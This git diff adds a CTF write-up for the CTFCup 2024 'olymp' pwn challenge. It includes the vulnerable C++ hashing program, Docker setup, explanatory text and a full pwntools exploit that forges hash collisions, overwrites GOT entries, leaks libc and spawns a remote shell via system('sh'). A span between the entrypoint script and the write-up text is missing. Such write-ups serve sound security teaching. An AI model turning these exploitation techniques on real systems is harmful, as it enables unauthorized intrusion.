diff --git a/content/blog/ctfcup2024-olymp/Dockerfile b/content/blog/ctfcup2024-olymp/Dockerfile new file mode 100644 index 0000000..681d902 --- /dev/null +++ b/content/blog/ctfcup2024-olymp/Dockerfile @@ -0,0 +1,11 @@ +FROM ubuntu@sha256:8a37d68f4f73ebf3d4efafbcf66379bf3728902a8038616808f04e34a9ab63ee + +RUN apt update +RUN apt install -y socat + +COPY entrypoint.sh / +RUN chmod +x /entrypoint.sh +COPY a.out / +RUN chmod +x /a.out + +CMD ["/entrypoint.sh"] diff --git a/content/blog/ctfcup2024-olymp/a.cc b/content/blog/ctfcup2024-olymp/a.cc new file mode 100644 index 0000000..791eba6 --- /dev/null +++ b/content/blog/ctfcup2024-olymp/a.cc @@ -0,0 +1,70 @@ +#pragma GCC optimize( \ + "O3,Ofast,no-stack-protector,rename-registers,unroll-all-loops,inline-functions,sched-spec") +#include +#include +#include +/*#include */ + +#define MAX_LENGTH 200 + +using namespace std; + +uint64_t prefix[MAX_LENGTH]; + +string s; + +void build_prefix_hashes() { + uint64_t h = 0; + prefix[0] = h; + for (int i = 0; i < s.size(); i++) { + h = h * 31337 + s[i]; + prefix[i + 1] = h; + } +} + +uint64_t pow64(uint64_t base, uint64_t exp) { + uint64_t res = 1; + while (exp != 0) { + if (exp % 2 == 1) { + res = res * base; + } + base = base * base; + exp /= 2; + } + return res; +} + +void test_case() { + cin >> s; + build_prefix_hashes(); + int q; + cin >> q; + for (int i = 0; i < q; i++) { + int la, ra; + int lb, rb; + cin >> la; + cin >> ra; + cin >> lb; + cin >> rb; + ra += 1; + rb += 1; + int ha = prefix[la] - prefix[ra] * pow64(31337, ra - la); + int hb = prefix[la] - prefix[ra] * pow64(31337, rb - lb); + if (ha == hb && s.substr(la, ra - la) == s.substr(rb, rb - lb)) { + puts("YES"); + } else { + puts("NO"); + } + } +} + +int main() { + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + int q; + cin >> q; + + for (int i = 0; i < q; i++) { + test_case(); + } +} diff --git a/content/blog/ctfcup2024-olymp/a.out b/content/blog/ctfcup2024-olymp/a.out new file mode 100755 index 0000000..f21a4a7 Binary files /dev/null and b/content/blog/ctfcup2024-olymp/a.out differ diff --git a/content/blog/ctfcup2024-olymp/compare_memcmp.webp b/content/blog/ctfcup2024-olymp/compare_memcmp.webp new file mode 100644 index 0000000..3b10684 Binary files /dev/null and b/content/blog/ctfcup2024-olymp/compare_memcmp.webp differ diff --git a/content/blog/ctfcup2024-olymp/entrypoint.sh b/content/blog/ctfcup2024-olymp/entrypoint.sh new file mode 100644 index 0000000..7598378 --- /dev/null +++ b/content/blog/ctfcup2024-olymp/entrypoint.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +echo "$FLAG" >/flag-"$(tr -dc 'a-f0-9' >(int &)` with `puts`. When called with `std::cin` as the first argument, this allows us to leak libstdc++. I initially thought this would be sufficient since libstdc++ typically allocates after libc, but during final testing this turned out not to be the case. + +## Leaking libc + +Leaking libc is a bit more tricky. First, we need to notice that comparing two substrings actually uses `memcmp`: + +![comparing uses memcmp](compare_memcmp.webp) + +We can overwrite `memcmp` with `puts` and the rest of the GOT with resolvers. Then we call the comparison on the same indexes (such that the first index corresponds to the `memcmp` GOT entry) twice: the first call resolves puts, and the second call leaks it. + +## Running system + +Finally, we can use the same `memcmp` trick: overwrite `memcmp` with `system`, overwrite the `setvbuf` GOT entry with `"sh\x00"`, then run the comparison on indexes `0 1`, which internally calls `system("sh\x00")`. You can check the full exploit [here](sploit.py). + +## Conclusion + +Overall, while I initially thought the challenge was quite easy, it turned out to be quite tricky even after the hash forging technique was fully hinted at. diff --git a/content/blog/ctfcup2024-olymp/sploit.py b/content/blog/ctfcup2024-olymp/sploit.py new file mode 100644 index 0000000..8bdca88 --- /dev/null +++ b/content/blog/ctfcup2024-olymp/sploit.py @@ -0,0 +1,150 @@ +from pwn import * +import sage.all +from sage.modules.free_module_integer import IntegerLattice +import os +import sys + +Q = 31337 +P = 2**64 +W = 31337 +MIDDLE_LETTER = ord("n") + + +def poly_hash(a): + if type(a) == str: + a = a.encode() + h = 0 + for el in a: + h = (h * Q + el) % P + return h + + +def string_for_target_hash(target: int, string_len: int = 200) -> bytes: + known = [MIDDLE_LETTER] * string_len + known_hash = poly_hash(known) + L = IntegerLattice( + [ + [W * Q ** (len(known) - i - 1)] + + [1 if j == i else 0 for j in range(len(known))] + for i in range(len(known)) + ] + + [[W * P] + [0] * len(known)] + ) + vector = L.approximate_closest_vector( + [W * (target - known_hash)] + [0] * len(known) + ) + print(vector) + return bytes(k + v for k, v in zip(known, vector[1:])) + + +setvbuf_plt = 0x404000 +memcmp_plt = 0x404008 +puts_plt_resolve = 0x4010C6 +cin_int_plt = 0x404010 +cin_int_offset = 0x132CB0 +libc_offset = 0x672870 +libstdcpp_offset = 0x272870 +libc_offset = 0x87BD0 +system_offset = 0x000000000058740 +puts_got = 0x4010C0 +HOST = sys.argv[1] +PORT = 1717 + + +def main(): + # io = process( + # [ + # "docker", + # "run", + # "-i", + # "-v", + # f"{os.getcwd()}:/kek", + # "ubuntu@sha256:8a37d68f4f73ebf3d4efafbcf66379bf3728902a8038616808f04e34a9ab63ee", + # "/kek/a.out", + # ] + # ) + io = remote(HOST, PORT) + + io.sendline(b"10") + io.sendline(b"a") + io.sendline(b"0") + # s = string_for_target_hash(setvbuf_plt) + s = b"nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnmnnnononnomnomnonpmnlnomoonnnonnponnonnmnonn" + print(hex(poly_hash(s))) + + io.sendline(s) + io.sendline(b"1") + io.sendline(b"0 1 0 1") + io.readline() + io.sendline((p64(puts_got) * 3)[:-1]) + for _ in range(4): + io.readline() + libstdcpp_leak = u64(io.readline()[:-1].ljust(8, b"\x00")) + print("LIBSTDC++ leak", hex(libstdcpp_leak)) + libstdcpp_base = libstdcpp_leak - libstdcpp_offset + print("LIBSTDC++ base", hex(libstdcpp_base)) + cin_int = libstdcpp_base + cin_int_offset + io.readline() + io.readline() + # + payload = b"".join( + map( + p64, + ( + puts_got, + puts_got, + cin_int, + 0x401066, + 0x401076, + 0x401086, + 0x401096, + 0x4010A6, + 0x4010B6, + 0x4010C6, + 0x4010D6, + 0x4010E6, + ), + ) + )[:-1] + print(len(payload)) + + pause() + io.sendline(payload) + + io.sendline(b"2") + io.sendline(b"72 80 72 80") + io.sendline(b"72 80 72 80") + io.recvline() + io.recvline() + libc_leak = u64(io.readline()[:-1].ljust(8, b"\x00")) + print("LIBC LEAK", hex(libc_leak)) + libc_base = libc_leak - libc_offset + print("LIBC BASE", libc_base) + system = libc_base + system_offset + payload = b"".join( + map( + p64, + ( + u64(b"sh" + b"\x00" * 6), + system, + cin_int, + 0x401066, + 0x401076, + 0x401086, + 0x401096, + 0x4010A6, + 0x4010B6, + 0x4010C6, + 0x4010D6, + 0x4010E6, + ), + ) + )[:-1] + io.sendline(payload) + io.sendline(b"1") + io.sendline(b"0 1 0 1") + io.interactive() + + +if __name__ == "__main__": + main()